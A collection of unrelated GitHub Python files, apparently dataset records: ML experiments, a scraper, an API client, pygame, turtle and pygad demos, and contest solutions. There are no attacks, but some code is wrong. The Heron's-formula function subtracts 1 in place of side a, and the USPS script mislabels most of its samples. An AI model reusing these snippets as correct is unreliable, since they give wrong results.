test_data[u,m] = r\n else:\n train_data[u, m] = r\n flags[u,m] = 1\n return train_data, flags, test_data\n\nif compute:\n train_data, flags, test_data = load_data()\n with open(\"./data/ratings_train.data\", \"wb\") as f:\n pickle.dump(train_data, f)\n with open(\"./data/ratings_test.data\", \"wb\") as f:\n pickle.dump(test_data, f)\n with open(\"./data/flags.data\", \"wb\") as f:\n pickle.dump(flags, f)\nelse:\n with open(\"./data/ratings_train.data\", \"rb\") as f:\n train_data = pickle.load(f)\n with open(\"./data/ratings_test.data\", \"rb\") as f:\n test_data = pickle.load(f)\n with open(\"./data/flags.data\", \"rb\") as f:\n flags = pickle.load(f)\n\n\n\nrate_num = nd.sum(flags).asscalar()\nprint(\"rate numbers:\", rate_num)\n\ndef my_loss(y, label, flags, U, V):\n nameda = 0.001\n # 到4000次epoch的时候,测试准确率开始下降,训练损失函数还会继续收敛,出现了过拟合。加上L2正则化也没有起作用\n return nd.sum((y - label)*(y-label)*flags) +nd.sum(nameda * U*U) + nd.sum(nameda*V*V) #后面两项是L2正则项防止过拟合\n\n# 根据评价矩阵,训练出U和V满足 U.V = train_data\ndef train(train_data, test_data, flags, epochs, start_ep = 0):\n U = nd.random.uniform(0, 1, shape=(maxUserID, factorNum), ctx=context)\n V = nd.random.uniform(0, 1, shape=(factorNum, maxMovieID), ctx=context)\n if start_ep > 0:\n with open(\"./data/U.data.\" + str(start_ep), \"rb\") as f:\n U = pickle.load(f)\n with open(\"./data/V.data.\" + str(start_ep), \"rb\") as f:\n V = pickle.load(f)\n for e in range(start_ep+1, epochs):\n U.attach_grad()\n V.attach_grad()\n with autograd.record():\n Y = nd.dot(U,V)\n L = my_loss(Y, train_data, flags, U, V)\n L.backward()\n if e % 100 == 0 and e > 0:\n avgLoss = L.asscalar()/rate_num\n print(\"ep:%d, loss:%.4f\"%(e,avgLoss))\n if avgLoss < 0.01:\n break\n U = U - lr * U.grad\n V = V - lr * V.grad\n if e % 1000 == 0 and e > 0:\n acc = test2(test_data, U, V)\n print(\"test acc:%.4f\"%(acc))\n with open(\"./data/U.data.\"+str(e), \"wb\") as f:\n pickle.dump(U, f)\n with open(\"./data/V.data.\"+str(e), \"wb\") as f:\n pickle.dump(V, f)\n return U,V\ndef test2(test_data, U, V):\n total = 0\n right_num = 0\n for u in range(maxUserID):\n for m in range(maxMovieID):\n label = test_data[u, m].asscalar()\n if label > 0:\n y = nd.dot(U[u, :].reshape((1, factorNum)), V[:, m].reshape((factorNum, 1)))\n y = y[0, 0].asscalar()\n right = 1 if y / label > 0.9 and y / label < 1.1 else 0 # 只要预测的评分不要差的太多,我都算你对\n #print(\"%.2f %.2f %d\" % (label, y, right))\n if right > 0:\n right_num += 1\n total += 1\n if total > 200:\n return right_num / total\n return right_num / total\n\ndef test(test_data, ep):\n with open(\"./data/U.data.\" + str(ep), \"rb\") as f:\n U = pickle.load(f)\n with open(\"./data/V.data.\" + str(ep), \"rb\") as f:\n V = pickle.load(f)\n return test2(test_data, U, V)\n\n\n\n\n\nU,V = train(train_data, test_data,flags,epochs, 0)\n#print(test(test_data, 19000))\n\n\n\n","repo_name":"bisonliao/goodgoodstudy","sub_path":"code/data_mining/LFM.py","file_name":"LFM.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"48"} +{"seq_id":"18385155799","text":"import math\n\ndef oblicz (a ,b , c):\n \"\"\" Oblicza pole trojkata wg wzoru Herona\n a ,b ,c dlugosci bokow trojkata\n >> heron (3 ,4 ,5)\n 6.0\n \"\"\"\n x = ( a + b + c )/2\n return math . sqrt ( x * (x -1) * (x - b ) * (x - c ))\n\nif __name__ == \"__main__\":\n print (oblicz.__doc__)\n print(oblicz(3, 4, 5))","repo_name":"MichalWojcieszyk/python","sub_path":"kalkulator.py","file_name":"kalkulator.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13543876714","text":"#! /usr/local/bin/python3\n\n# latestNews: Abre as páginas das últimas notícias do site Inovação Tecnológica\n\n\nimport requests, webbrowser, bs4\n\n\nprint(\"Buscando as últimas notícias de Inovação Tecnológica...\")\nres = requests.get(\"http://www.inovacaotecnologica.com.br/noticias/assuntos.php?assunto=principal\")\nres.raise_for_status()\n\nsoup = bs4.BeautifulSoup(res.text, \"html.parser\")\n# Listar todas as manchetes:\nmanchetes = soup.select(\"div #manchete\")\n# Abrir cada manchete:\nfor index, manchete in enumerate(manchetes):\n\tprint(index + 1, \") \", manchete.select(\"a\")[0].getText())\n\tlink = manchete.select(\"a\")[0].get(\"href\")\n\twebbrowser.open(\"http://www.inovacaotecnologica.com.br\" + link[2:])\n","repo_name":"CDLM-ESOF/esof-py","sub_path":"Pitch 1 e 2/Capítulo 11, códigos/latestNews.py","file_name":"latestNews.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43112830222","text":"from __future__ import annotations\n\nfrom typing import Optional, Union\n\nfrom aiohttp import ClientSession, TCPConnector, ClientTimeout, DummyCookieJar\n\nfrom helpers.singleton import Singleton\nfrom models.Districts import DistrictsResponse\nfrom models.Germany import GermanyResponse\nfrom models.History import HistoryGermanIncidenceResponse, InternalHistoryDistrictCasesResponse, \\\n HistoryDistrictIncidenceResponse, HistoryDistrictCasesResponse, InternalHistoryDistrictIncidenceResponse, \\\n VaccinationHistoryResponse\nfrom models.States import StatesResponse\nfrom settings import SETTINGS\n\n\nclass ApiClient:\n __metaclass__ = Singleton\n\n def __init__(self, base_url: str, request_timeout: int, request_limit: int):\n self._timeout: ClientTimeout = ClientTimeout(total=request_timeout)\n self._connector: TCPConnector = TCPConnector(limit=request_limit,\n enable_cleanup_closed=True,\n verify_ssl=SETTINGS.verify_ssl\n )\n self._client_session: Optional[ClientSession] = None\n self.base_url: str = base_url\n\n def create_client(self) -> None:\n if not self._client_session:\n self._client_session = ClientSession(\n connector=self._connector,\n timeout=self._timeout,\n cookie_jar=DummyCookieJar()\n )\n\n async def close_client(self) -> None:\n if self._client_session:\n await self._client_session.close()\n self._client_session = None\n\n async def get_states(self) -> StatesResponse:\n response = await self._get(\"states\")\n return StatesResponse(**response)\n\n async def get_districts(self) -> DistrictsResponse:\n response = await self._get(\"districts\")\n return DistrictsResponse(**response)\n\n async def get_germany(self) -> GermanyResponse:\n response = await self._get(\"germany\")\n return GermanyResponse(**response)\n\n async def get_district_map(self) -> bytes:\n return await self._get(\"map/districts\")\n\n async def get_district_cases_history(self, district_id: str, days: int) -> HistoryDistrictCasesResponse:\n history = await self._get(f\"districts/{district_id}/history/cases/{days}\")\n history_object = InternalHistoryDistrictCasesResponse(**history)\n keys = list(history_object.data.keys())\n data = history_object.data[keys[0]]\n return HistoryDistrictCasesResponse(data=data.history, ags=data.ags, name=data.name)\n\n async def get_district_incidence_history(self, district_id: str, days: int) -> HistoryDistrictIncidenceResponse:\n history = await self._get(f\"districts/{district_id}/history/incidence/{days}\")\n history_object = InternalHistoryDistrictIncidenceResponse(**history)\n keys = list(history_object.data.keys())\n data = history_object.data[keys[0]]\n return HistoryDistrictIncidenceResponse(data=data.history, ags=data.ags, name=data.name)\n\n async def get_german_history(self, days: int) -> HistoryGermanIncidenceResponse:\n history = await self._get(f\"germany/history/incidence/{days}\")\n return HistoryGermanIncidenceResponse(**history)\n\n async def get_vaccination_history(self) -> VaccinationHistoryResponse:\n history = await self._get(f\"vaccinations/history\")\n return VaccinationHistoryResponse(**history)\n\n async def _get(self, path: str) -> Union[dict, bytes]:\n if not self._client_session:\n raise Exception(\"You have to create a client session before you can use the api client\")\n\n async with self._client_session.get(f\"{self.base_url}{path}\", raise_for_status=True) as request:\n if request.content_type == \"application/json\":\n return await request.json()\n else:\n return await request.read()\n\n @staticmethod\n def create() -> ApiClient:\n client = ApiClient(SETTINGS.covid_api_url, request_timeout=10, request_limit=100)\n client.create_client()\n return client\n","repo_name":"HuiiBuh/corona-telegram-bot","sub_path":"src/storage/api_client.py","file_name":"api_client.py","file_ext":"py","file_size_in_byte":4131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"6050147348","text":"import math\n\nfrom PIL import ImageOps\n\nimport areas_finder\nfrom point import Point\nfrom sketch import Sketch\nfrom utils import RGB\nfrom triangle import Triangle\n\n\n#######################################################################\nclass BaseSeeder(object):\n ####################################################################\n def __init__(self, source_image, output_folder, num_triangles, color_type):\n self.source_image = source_image\n self.size = Point(self.source_image.size[0], self.source_image.size[1])\n self.output_folder = output_folder\n self.num_triangles = num_triangles\n self.color_type = color_type\n\n ####################################################################\n def run(self):\n raise NotImplementedError\n\n\n#######################################################################\nclass Seeder(BaseSeeder):\n ###################################################################\n def run(self):\n sketches = (self.get_sketch_for_posterity(i) for i in range(1, 9))\n return min(sketches, key=lambda x: x.get_fitness(self.source_image))\n\n ###################################################################\n def get_triangles_for_rectangle(self, min_x, max_x, min_y, max_y):\n \"\"\"\n Args:\n min_x: int\n max_x: int\n min_y: int\n max_y: int\n\n Returns: List(tri_image.triangle.Triangle) of length 2\n \"\"\"\n if self.color_type == RGB:\n c = (0, 0, 0)\n else:\n c = 0\n\n t1 = Triangle([min_x, min_y, min_x, max_y, max_x, max_y], c, 255)\n t1.set_color(self.source_image, self.color_type)\n t2 = Triangle([min_x, min_y, max_x, min_y, max_x, max_y], c, 255)\n t2.set_color(self.source_image, self.color_type)\n return [t1, t2]\n\n ###################################################################\n def get_triangles_for_area(self, area):\n \"\"\"\n Given an area, return two triangles that form a box covering it.\n\n Args:\n area: set of tuples of ints representing pixel coords\n \"\"\"\n\n xs = [pixel[0] for pixel in area]\n ys = [pixel[1] for pixel in area]\n min_x = min(xs)\n max_x = max(xs)\n min_y = min(ys)\n max_y = max(ys)\n\n return self.get_triangles_for_rectangle(min_x, max_x, min_y, max_y)\n\n ###################################################################\n def get_sketch_for_posterity(self, num_bits):\n \"\"\"Posterize the image using the number of bits, then\n find the areas of contiguous color and make triangles out of them,\n returning the resulting sketch\n\n Args:\n num_bits: int\n \"\"\"\n if self.color_type == RGB:\n im = self.source_image.convert(\"L\")\n im = ImageOps.posterize(im, num_bits)\n im = im.convert(\"RGB\")\n else:\n im = ImageOps.posterize(self.source_image, num_bits)\n areas = areas_finder.get_areas(im, 1000)\n\n triangles = []\n for area in areas:\n triangles.extend(self.get_triangles_for_area(area))\n triangles = self.filter_and_sort_triangles(triangles)\n num_background_triangles = min(self.num_triangles, max(50, self.num_triangles // 10))\n background_triangles = self.cover_background(num_background_triangles)\n if len(triangles) > (self.num_triangles - num_background_triangles):\n over = len(triangles) - (self.num_triangles - num_background_triangles)\n triangles = triangles[over:]\n triangles = background_triangles + triangles\n return Sketch(self.size, self.color_type, triangles)\n\n ###################################################################\n def filter_and_sort_triangles(self, triangles):\n \"\"\"\n Filter_and_sort_triangles will only return up to seeder.num_triangles back.\n it will include the largest triangles, and the triangles will be sorted\n with the largest first on the list (since they are drawn first, they\n will be on bottom, with the smaller triangles drawn on top of them)\n\n Args:\n triangles: List(tri_image.triangle.Triangle)\n \"\"\"\n triangles.sort(key=lambda x: x.get_area(), reverse=True)\n return triangles[:self.num_triangles]\n\n ###################################################################\n def cover_background(self, num_triangles):\n \"\"\"\n Create a background layer of triangles, using up to num_triangles\n that completely cover the background of the image. This is to provide\n a backdrop to the other triangles that basically covers the major\n background colors\n\n Args:\n num_triangles: int\n \"\"\"\n dimension = int(round(math.sqrt(num_triangles / 2.0)))\n while (dimension * dimension * 2) > num_triangles:\n dimension -= 1\n if dimension <= 0:\n return []\n\n triangles = []\n block_height = self.size.y // dimension\n block_width = self.size.x // dimension\n\n for x in range(dimension):\n for y in range(dimension):\n top = y * block_height\n bottom = (y+1) * block_height\n left = x * block_width\n right = (x+1) * block_width\n triangles += self.get_triangles_for_rectangle(left, right, top, bottom)\n return triangles\n\n\n#######################################################################\nclass RandomSeeder(BaseSeeder):\n ###################################################################\n def run(self):\n return Sketch(self.size, self.color_type)\n # triangles = utils.create_random_triangles(self.size, self.num_triangles)\n # s = Sketch(self.size, triangles)\n # return s\n\n\n#######################################################################\nclass Area(object):\n def __init__(self, color):\n self.color = color\n self.pixels = set()\n\n ###################################################################\n def is_adjacent(self, x, y):\n up = (x, y-1)\n down = (x, y+1)\n right = (x-1, y)\n left = (x+1, y)\n\n for pixel in [up, down, right, left]:\n if pixel in self.pixels:\n return True\n return False\n","repo_name":"tobynance/tri_image","sub_path":"tri_image/seeder.py","file_name":"seeder.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"3078870193","text":"import turtle as t\nimport random\n\ntim = t.Turtle()\n\n########### Challenge 3 - Draw Shapes ########\ncolours = [\"blue\", \"lime\", \"firebrick\", \"dark red\"]\n\ndef draw_shape(num_sides):\n angle = 360 / num_sides\n for _ in range(num_sides):\n tim.forward(100)\n tim.right(angle)\n\nfor shape_side_n in range(3, 11):\n tim.color(random.choice(colours))\n draw_shape(shape_side_n)\n","repo_name":"ThiMonteiro/100-DAYS-OF-CODE-IN-PYTHON","sub_path":"18 Day/day-18-3-start.py","file_name":"day-18-3-start.py","file_ext":"py","file_size_in_byte":390,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"34648895801","text":"import pygad\r\nimport numpy\r\n\r\n\"\"\"\r\nGiven the following function:\r\n y = f(w1:w6) = w1x1 + w2x2 + w3x3 + w4x4 + w5x5 + 6wx6\r\n where (x1,x2,x3,x4,x5,x6)=(4,-2,3.5,5,-11,-4.7) and y=44\r\nWhat are the best values for the 6 weights (w1 to w6)? We are going to use the genetic algorithm to optimize this function.\r\n\"\"\"\r\n\r\nfunction_inputs = [4,-2,3.5,5,-11,-4.7] # Function inputs.\r\ndesired_output = 44 # Function output.\r\n\r\ndef fitness_func(solution, solution_idx):\r\n # Calculating the fitness value of each solution in the current population.\r\n # The fitness function calulates the sum of products between each input and its corresponding weight.\r\n output = numpy.sum(solution*function_inputs)\r\n fitness = 1.0 / numpy.abs(output - desired_output)\r\n return fitness\r\n\r\nfitness_function = fitness_func\r\n\r\nnum_generations = 50 # Number of generations.\r\nnum_parents_mating = 4 # Number of solutions to be selected as parents in the mating pool.\r\n\r\nsol_per_pop = 8 # Number of solutions in the population.\r\nnum_genes = len(function_inputs)\r\n\r\ninit_range_low = -2\r\ninit_range_high = 5\r\n\r\n\r\nparent_selection_type = \"sss\" # Type of parent selection.\r\nkeep_parents = 1 # Number of parents to keep in the next population. -1 means keep all parents and 0 means keep nothing.\r\n\r\ncrossover_type = \"single_point\" # Type of the crossover operator.\r\n\r\n# Parameters of the mutation operation.\r\nmutation_type = \"random\" # Type of the mutation operator.\r\nmutation_percent_genes = 10 # Percentage of genes to mutate. This parameter has no action if the parameter mutation_num_genes exists.\r\n\r\ndef callback_generation(ga_instance):\r\n print(\"Generation :\", ga_instance.generations_completed)\r\n print(\"Fitness of the best solution :\", ga_instance.best_solution()[1])\r\n\r\n# Creating an instance of the GA class inside the ga module. Some parameters are initialized within the constructor.\r\nga_instance = pygad.GA(num_generations=num_generations,\r\n num_parents_mating=num_parents_mating, \r\n fitness_func=fitness_function,\r\n sol_per_pop=sol_per_pop, \r\n num_genes=num_genes,\r\n init_range_low=init_range_low,\r\n init_range_high=init_range_high,\r\n parent_selection_type=parent_selection_type,\r\n keep_parents=keep_parents,\r\n crossover_type=crossover_type,\r\n mutation_type=mutation_type,\r\n mutation_percent_genes=mutation_percent_genes,\r\n callback_generation=callback_generation)\r\n\r\n# Running the GA to optimize the parameters of the function.\r\nga_instance.run()\r\n\r\n# After the generations complete, some plots are showed that summarize the how the outputs/fitenss values evolve over generations.\r\nga_instance.plot_result()\r\n\r\n# Returning the details of the best solution.\r\nbest_solution, best_solution_fitness = ga_instance.best_solution()\r\nprint(\"Parameters of the best solution :\", best_solution)\r\nprint(\"Fitness value of the best solution :\", best_solution_fitness, \"\\n\")\r\n\r\n# Saving the GA instance.\r\nfilename = 'genetic' # The filename to which the instance is saved. The name is without extension.\r\nga_instance.save(filename=filename)\r\n\r\n# Loading the saved GA instance.\r\nloaded_ga_instance = pygad.load(filename=filename)\r\nprint(\"The saved instance of the genetic algorithm is loaded successfully.\")\r\nloaded_ga_instance.plot_result()\r\nprint(loaded_ga_instance.best_solution())\r\n","repo_name":"joncucci/random_python","sub_path":"Algorithm/GeneticAlgorithmPython-master/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":3536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4809874430","text":"#!/usr/bin/env python3\n# -*- coding: iso-8859-15 -*-\n\nimport numpy as np\nfrom md import Grid, get_neighboring_indices\nimport sys\nimport pygame\nfrom pygame.locals import *\n\n\ndef draw_cell(surface, cell, fill=[0,0,0]):\n rect = (cell.ul_corner[0], cell.ul_corner[1],\n cell.L[0], cell.L[1])\n pygame.draw.rect(surface, fill, rect)\n pygame.draw.rect(surface, [255, 255, 255], rect, width=2)\n\n\nwidth, height = 800, 800\ngrid = Grid(n=15, L=[width,height,800], neighbors_dist=2)\n\npygame.init()\n\nfps = 60\nfpsClock = pygame.time.Clock()\n\nscreen = pygame.display.set_mode((width, height))\n\nfor index1d, cell in enumerate(grid.cells):\n draw_cell(screen, cell, [0,0,0])\ncursor_idx_1d = 0\ncurrent_cell = grid.cells[0]\n\n# Game loop\nwhile True:\n for event in pygame.event.get():\n if event.type == QUIT:\n pygame.quit()\n sys.exit()\n\n # Mechanism\n cursor_idx_1d_prev = cursor_idx_1d\n prev_cell = grid.cells[cursor_idx_1d_prev]\n cursor_pos = pygame.mouse.get_pos()\n cursor_pos_3d = (cursor_pos[0], cursor_pos[1], 400)\n cursor_idx_3d = tuple(grid.get_index_3d_from_pos(cursor_pos_3d))\n cursor_idx_1d = grid.get_index_1d_from_3d(cursor_idx_3d)\n current_cell = grid.cells[cursor_idx_1d]\n\n # Draw\n if cursor_idx_1d != cursor_idx_1d_prev:\n draw_cell(screen, prev_cell, [0,0,0])\n prev_cell = current_cell\n for neighbor in grid.cells[cursor_idx_1d_prev].neighbors:\n draw_cell(screen, neighbor, [0,0,0])\n for neighbor in grid.cells[cursor_idx_1d].neighbors:\n draw_cell(screen, neighbor, [0,150,0])\n draw_cell(screen, current_cell, [0,255,0])\n pygame.draw.circle(screen, [255,0,0], cursor_pos, 3)\n\n # Update\n pygame.display.flip()\n fpsClock.tick(fps)\n","repo_name":"pelegs/MD2","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"40288332851","text":"from django.urls import re_path\r\nfrom . import views\r\napp_name='music'\r\n\r\nurlpatterns = [\r\n re_path(r'^$', views.IndexView.as_view(), name=\"index\"),\r\n re_path(r'^register/$', views.UserFormView.as_view(), name=\"register\"),\r\n re_path(r'^album/(?P[0-9]+)/songs/$', views.DetailView.as_view(), name='details'),\r\n re_path(r'album/add/$', views.AlbumCreate.as_view(), name='album_add'),\r\n re_path(r'album/(?P[0-9]+)/$', views.AlbumUpdate.as_view(), name='update'),\r\n re_path(r'album/(?P[0-9]+)/delete/$', views.AlbumDelete.as_view(), name='delete'),\r\n re_path(r'^logout/$', views.logout_view, name=\"logout\"),\r\n re_path(r'^songs/add_song/$', views.SongAdd.as_view(), name='song_add'),\r\n re_path(r'^(?P[0-9]+)/(?P[0-9]+)/delete/$', views.SongDelete.as_view(), name='song_delete'),\r\n\r\n]\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"satendra144/github.io","sub_path":"mysite/music/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"273281037","text":"import scipy.io\nimport numpy as np\nfrom sklearn import svm as hi\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import LinearSVC\nmat = scipy.io.loadmat('/Users/mahesh1/Downloads/usps_all_final.mat')\n#print(type(mat))\n#print(mat)\n\n\ndata = mat['data']\n#print(data.shape)\n\n#training\none = data[:,0:800:,0]\ntwo = data[:,0:800,1]\nthree = data[:,0:800,2]\nfour = data[:,0:800,3]\nfive = data[:,0:800,4]\nsix= data[:,0:800,5]\nseven = data[:,0:800,6]\neight= data[:,0:800,7]\nnine = data[:,0:800,8]\nzero = data[:,0:800,9]\n\n# #validation\none_v = data[:,800:1000:,0]\ntwo_v = data[:,800:1000,1]\nthree_v = data[:,800:1000,2]\nfour_v = data[:,800:1000,3]\nfive_v = data[:,800:1000,4]\nsix_v = data[:,800:1000,5]\nseven_v = data[:,800:1000,6]\neight_v = data[:,800:1000,7]\nnine_v = data[:,800:1000,8]\nzero_v = data[:,800:1000,9]\n\n#testing\none_t = data[:,1000:1100:,0]\ntwo_t = data[:,1000:1100,1]\nthree_t = data[:,1000:1100,2]\nfour_t = data[:,1000:1100,3]\nfive_t = data[:,1000:1100,4]\nsix_t= data[:,1000:1100,5]\nseven_t = data[:,1000:1100,6]\neight_t= data[:,1000:1100,7]\nnine_t = data[:,1000:1100,8]\nzero_t = data[:,1000:1100,9]\n\nprint(two.shape)\n\n#a = np.array([[1, 2], [3, 4]])\n#b = np.array([[5, 6]])\n\n#print(np.concatenate((a, b), axis=0))\n\n\n\n\n\ntrain =np.concatenate((one,two,three,four,five,six,seven,eight,nine,zero), axis=1)\ntrain = train.T\nprint(train.shape)\n\n\n\nlabels = np.zeros((8000))\n\n\n\n\n\nfor i in range(0,10):\n\tif i ==9:\n\t\tlabels[i*800:i*800+300] = 0\n\telse:\n\t\tlabels[i*800:i*800+300] = i+1\n\n\n\nvalid =np.concatenate((one_v,two_v,three_v,four_v,five_v,six_v,seven_v,eight_v,nine_v,zero_v), axis=1)\nvalid = valid.T\nprint(valid.shape)\n\nlabels_valid = np.zeros((2000))\n\n\nfor i in range(0,10):\n\tif i ==9:\n\t\tlabels_valid[i*800:i*800+200] = 0\n\telse:\n\t\tlabels_valid[i*800:i*800+200] = i+1\n\n\n\ntest =np.concatenate((one_t,two_t,three_t,four_t,five_t,six_t,seven_t,eight_t,nine_t,zero_t), axis=1)\ntest = test.T\nprint(test.shape)\n\nlabels_test = np.zeros((1000))\n\n\nfor i in range(0,10):\n\tif i ==9:\n\t\tlabels_test[i*1000:i*1000+100] = 0\n\telse:\n\t\tlabels_test[i*1000:i*1000+100] = i+1\n\n# neigh = KNeighborsClassifier(n_neighbors=5)\n# neigh.fit(train, labels)\n# print(neigh.predict(test))\n# acc = neigh.score(test, labels_test)\n#knn for 1-20 neighbors\n\n# for i in range(1,21):\n# \tneigh = KNeighborsClassifier(n_neighbors=i)\n# \tneigh.fit(train, labels)\n# \t#print(neigh.predict(test))\n# \tacc = neigh.score(valid, labels_valid)\n# \terror_rate = 1-acc\n# \tprint(f'accuracy for knn for valid =: {i} {acc}')\n# \tprint(f'error_rate for knn for valid =: {i} {error_rate}')\n\n\n# for i in range(1,21):\n# \tneigh = KNeighborsClassifier(n_neighbors=i)\n# \tneigh.fit(train, labels)\n# \t#print(neigh.predict(test))\n# \tacc = neigh.score(test, labels_test)\n# \terror_rate = 1-acc\n# \tprint(f'accuracy for knn for test =: {i} {acc}')\n# \tprint(f'error_rate for knn for test =: {i} {error_rate}')\n\n\n\n\n\n# #print(f'accuracy for knn: {acc}')\n\n\n# svm = LinearSVC()\n# svm.fit(train, labels)\n# print(svm.predict(test))\n# acc_svc_test = svm.score(test, labels_test)\n# error_rate_test_svm = 1- acc_svc_test\n# print(f'accuracy for svm for test: {acc_svc_test}')\n# print(f'error_rate for svm for test =: {error_rate_test_svm}')\n\n# svm = LinearSVC()\n# svm.fit(train, labels)\n# print(svm.predict(valid))\n# acc_v = svm.score(valid, labels_valid)\n# error_rate_valid_svm = 1 - acc_v\n# print(f'accuracy for svm for valid: {acc_v}')\n#print(f'error_rate for svm for valid =: {error_rate_valid_svm}')\n\n\n\n# for i in range(1,21):\n# \tneigh = KNeighborsClassifier(n_neighbors=i)\n# \tneigh.fit(train, labels)\n# \t#print(neigh.predict(test))\n# \tacc = neigh.score(test, labels_test)\n# \tprint(f'accuracy for knn =: {i} {acc}')\n\n\n# Nonlin = hi.NuSVC()\n# Nonlin.fit(train, labels)\n# print(Nonlin.predict(test))\n# acc = Nonlin.score(test, labels_test)\n# print(f'accuracy for Nonlinear SVM: {acc}')\n\n\n\n\n\n\n\n\n\n","repo_name":"maddanki-cyber/macyber","sub_path":"604_hw4.py","file_name":"604_hw4.py","file_ext":"py","file_size_in_byte":3890,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23907077650","text":"from keras.preprocessing.image import ImageDataGenerator\n\n\nclass DataGenerator:\n\n @staticmethod\n def get_train_set():\n train_data_gen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True)\n\n training_set = train_data_gen.flow_from_directory(\n '../../data/train',\n target_size=(64, 64),\n batch_size=32,\n class_mode='binary')\n\n return training_set\n\n @staticmethod\n def get_test_set():\n\n test_data_gen = ImageDataGenerator(rescale=1. / 255)\n\n test_set = test_data_gen.flow_from_directory(\n '../../data/test',\n target_size=(64, 64),\n batch_size=32,\n class_mode='binary')\n\n return test_set\n","repo_name":"abelowska/friendOrFoe","sub_path":"src/cnnClassifier/dataGenerator.py","file_name":"dataGenerator.py","file_ext":"py","file_size_in_byte":815,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25657323385","text":"import sys\n\nsys.setrecursionlimit(10 ** 7)\nrl = sys.stdin.readline\n\n\ndef solve():\n N, A = map(int, rl().split())\n S = rl().rstrip()\n \n left_items = []\n for i, si in enumerate(S[:A - 1]):\n if si == '#':\n left_items.append(i)\n right_items = []\n for i, si in enumerate(S[A:]):\n if si == '#':\n right_items.append(A + i)\n right_items.reverse()\n \n ans = 0\n i = 0\n cur = A - 1\n while left_items or right_items:\n if i % 2 == 0:\n if not right_items:\n ans += N - cur\n cur = N\n else:\n m = right_items.pop()\n ans += m - cur\n cur = m\n else:\n if not left_items:\n ans += cur + 1\n cur = -1\n else:\n m = left_items.pop()\n ans += cur - m\n cur = m\n i += 1\n print(ans)\n\n\nif __name__ == '__main__':\n solve()\n","repo_name":"yuly3/atcoder","sub_path":"other/joi2021yo2/A.py","file_name":"A.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"31850475495","text":"from cs50 import get_int, get_string\n\n# This program prints out a half-pyramid of a specified height\n\n# Input the pyramid's height\nwhile True:\n n = get_int(\"Height: \")\n if (n >= 1 and n <= 8):\n break\n\n# Generate the desired half-pyramid\nfor i in range(n):\n for j in range(n-i-1):\n print(\" \", end=\"\")\n for k in range(i+1):\n print(\"#\", end=\"\")\n print()","repo_name":"thaitanthien/CS50","sub_path":"exercises/cs50/pset6/pset6_mario less.py","file_name":"pset6_mario less.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70547987026","text":"\"\"\" \nGiven an integer x, return true if x is a \npalindrome\n, and false otherwise.\n\nEXAMPLES:\n Input: x = 121\n Output: true\n Explanation: 121 reads as 121 from left to right and from right to left.\n\nSOLUTION:\n get an integer and trasform it in a string\n check if the string is empty or one char\n create a reverse string of the input string\n compare the two strings\n if they are the same return true\n\"\"\"\n\nclass Solution(object):\n def isPalindrome(self, x):\n \"\"\"\n :type x: int\n :rtype: bool\n \"\"\"\n x = str(x)\n if len(x) == 0 or len(x) == 1:\n return True\n else:\n x_reverse = x[::-1]\n if x == x_reverse:\n print(x)\n return True\n else:\n return False\n \n","repo_name":"luisbeqja/leetcode","sub_path":"9PalindromeNumber.py","file_name":"9PalindromeNumber.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44009783902","text":"class Solution:\n def rotate(self, matrix: list) -> None:\n row_len, col_len = len(matrix), len(matrix[0])\n for i in range(1, row_len):\n for j in range(i):\n matrix[i][j], matrix[j][i] = matrix[j][i], matrix[i][j]\n\n for i in range(row_len):\n left, right = 0, col_len-1\n while left < right:\n matrix[i][left], matrix[i][right] = matrix[i][right], matrix[i][left]\n left += 1\n right -= 1\n\n print('matrix:', matrix)\n\n","repo_name":"wxmsummer/algorithm","sub_path":"leetcode/hot/48_rotate.py","file_name":"48_rotate.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43517543352","text":"# N개의 도시가 있다. 그리고 한 도시에서 출발하여 다른 도시에 도착하는 M개의 버스가 있다. 우리는 A번째 도시에서 B번째 도시까지 가는데 드는 버스 비용을 최소화 시키려고 한다. A번째 도시에서 B번째 도시까지 가는데 드는 최소비용을 출력하여라. 도시의 번호는 1부터 N까지이다.\r\n\r\nimport heapq\r\nimport sys\r\ninput = sys.stdin.readline\r\nINF = int(1e9)\r\n\r\nN = int(input())\r\nM = 